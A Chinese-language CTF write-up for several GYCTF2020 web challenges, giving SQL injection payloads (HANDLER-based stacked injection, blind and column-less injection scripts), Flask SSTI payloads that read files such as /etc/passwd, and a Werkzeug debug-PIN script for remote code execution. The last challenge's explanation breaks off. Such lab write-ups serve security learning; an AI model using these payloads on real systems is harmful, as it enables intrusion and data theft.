[GYCTF2020]Blacklist
堆叠注入,新的读表方法:HANDLER
页面提示Black list is so weak for you,isn't it
,那就有waf喽,fuzz一下,输入select返回return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
看来是过滤了这些,查了下字段,发现有两个,payload:?inject=3' order by 2--+
,这题感觉和强网杯的随便注差不多,所以试了试堆叠注入,可以用
不过这题就不能重命名啦,需要用HANDLER
去读,payload:?inject=-1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
;参考链接:https://www.cnblogs.com/20175211lyz/p/12356678.html
[GYCTF2020]FlaskApp
SSTI,Flask PIN
题目已经提示很清楚了,flask,把ssti用base64加密,在丢到解密框里面试试,先来个5
由于在写类的时候少写一个s,结果丢到解密框里以后失败了,爆出了部分源码
#waf
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
在debug页面下,最右面有个shell按钮,点进去需要pin码,来看看这个文章,payload:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('想要读取的文件', 'r').read() }}{% endif %}{% endfor %}
先读一下源码吧,{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py', 'r').read() }}{% endif %}{% endfor %}
from flask import Flask,render_template_string
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64
app = Flask(__name__)
app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)
class NameForm(FlaskForm):
text = StringField('BASE64加密',validators= [DataRequired()])
submit = SubmitField('提交')
class NameForm1(FlaskForm):
text = StringField('BASE64解密',validators= [DataRequired()])
submit = SubmitField('提交')
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1
@app.route('/hint',methods=['GET'])
def hint():
txt = "失败乃成功之母!!"
return render_template("hint.html",txt = txt)
@app.route('/',methods=['POST','GET'])
def encode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64encode(text.encode())
tmp = "结果 :{0}".format(str(text_decode.decode()))
res = render_template_string(tmp)
flash(tmp)
return redirect(url_for('encode'))
else :
text = ""
form = NameForm(text)
return render_template("index.html",form = form ,method = "加密" ,img = "flask.png")
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
flash( res )
return redirect(url_for('decode'))
else :
text = ""
form = NameForm1(text)
return render_template("index.html",form = form, method = "解密" , img = "flask1.png")
@app.route('/<name>',methods=['GET'])
def not_found(name):
return render_template("404.html",name = name)
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000, debug=True)
两种解法,一种直接读,一种通过PIN码实现RCE
- 直接读,参考
虽然过滤了不少东西,但是可以用字符串拼接绕过,看看根目录下有啥
{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
#e3snJy5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fWydfX2J1aWx0aW5zX18nXVsnX19pbXAnKydvcnRfXyddKCdvJysncycpLmxpc3RkaXIoJy8nKX19
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read() }}{% endif %}{% endfor %}
#eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbignL3RoaXNfaXNfdGhlX2ZsJysnYWcudHh0JywncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9
- PIN码实现RCE,参考
根据kingkk师傅说的,先找machine-id
,payload:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup', 'r').read() }}{% endif %}{% endfor %} #6f4331f28274f41c8aadc15be8828c3eb6787abad4514dd8981c7c5b94969073
然后获取MAC{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address', 'r').read() }}{% endif %}{% endfor %} #02:42:ae:01:ac:2d #转十进制:>>>print(0x0242ae01ac2d) #2485410442285
报错获取路径,上面已经有了:/usr/local/lib/python3.7/site-packages/flask/app.py
获取用户名{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{% endif %}{% endfor %} # flaskweb:x:1000:1000::/home/flaskweb:/bin/sh
上脚本:
在dubug下输入pin得到python的shell#脚本出处:https://xz.aliyun.com/t/2553 import hashlib from itertools import chain probably_public_bits = [ 'flaskweb',# username 'flask.app', 'Flask', '/usr/local/lib/python3.7/site-packages/flask/app.py' ] private_bits = [ '2485410442285',# address '6f4331f28274f41c8aadc15be8828c3eb6787abad4514dd8981c7c5b94969073'# machine-id ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv)
[GYCTF2020]Ezsqli
无in注入,无列名注入,Mysql查询的骚姿势:
(select 'admin','admin')>(select * from users limit 1)
分享几个很棒的blog,对MYSQL注入相关内容及部分Trick的归类小结,
聊一聊bypass information_schema,无需“in”的SQL盲注,Y1ng
输入框只有前两个有值,也有waf(废话),简单fuzz一下,过滤挺多
id=2 —> V&N
id=2 || 1=1 —> Nu1L
id=2 || 1=5 —> V&N
id=2 || substr((select 1),1,1)=2 —> V&N
id=2 || substr((select 1),1,1)=1 —> Nu1L
可以盲注,上脚本,information被ban了,可以使用sys.x$schema_flattened_keys
import requests
url = "http://1b0e37c7-a8c6-4014-bc2e-4a582c2ec8a1.node3.buuoj.cn"
table_name = ""
i = 0
print("--------Start--------")
while True:
i += 1
right = 127
left = 32
while left < right:
mid = (left + right) // 2
payload = "2 || (ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),%d,1))>%d)"%(i,mid)
data = {"id":payload}
r = requests.post(url,data)
#print(data)
#print(r.text)
if 'Nu1L' in r.text:
left = mid + 1
else:
right = mid
if chr(left) == " ":
break
table_name += chr(left)
print(table_name)
跑出来列名为f1ag_1s_h3r3_h7hhh,users233333333333233
,接下来就是爆数据
上面的tick,在无列名盲注中提到的核心payload:(select 'admin','admin')>(select * from users limit 1)
,原理就是通过字符比较来获取数据的,Mysql对于这种两个select的查询比较是按位来比较的,即先比较第一位,如果相等在比较第二位以此。在某一位如果前者的ASCII大,不管总长度如何,ASCII大的则大。
alag{aaaaa}<flag{a}
zlag{a}>flag{aaaaaaaaaa}
如此,按位比较,通过内层for循环来遍历flag,如果比较成功则结果需要是向前偏移一位的,例如g>f
,此时正确的结果应该为f
,即 flag += chr(i-1)
,脚本跑的较慢,我太菜了(这题Y1ng大师傅用的hex编码比较的字符了,原理也是Mysql遇到hex会自动转成字符串),额不晓得为啥,脚本跑的flag是大写字母最后自己转小写就好了
import requests
url = "http://1b0e37c7-a8c6-4014-bc2e-4a582c2ec8a1.node3.buuoj.cn"
flag = ""
print("--------Start--------")
for x in range(100):
result = ''
for i in range(32,128):
result = flag + chr(i)
payload = "2 || (select 1,'%s')>(select * from f1ag_1s_h3r3_hhhhh)"%(result)
data = {"id":payload}
#print(data)
r = requests.post(url,data)
if 'Nu1L' in r.text:
flag += chr(i-1)
print(flag)
break
[GYCTF2020]EasyThinking
登陆没sql,随便注册账号也没有给什么,扫一下发现备份文件
下载后在README.md
文件中发现是ThinkPHP 6.0,就去seebug里搜了一下,发现有ThinkPHP6任意文件操作漏洞分析,或这个复现
session可控,但是其长度必须为32位,在登陆时抓包把session改为以.php
结尾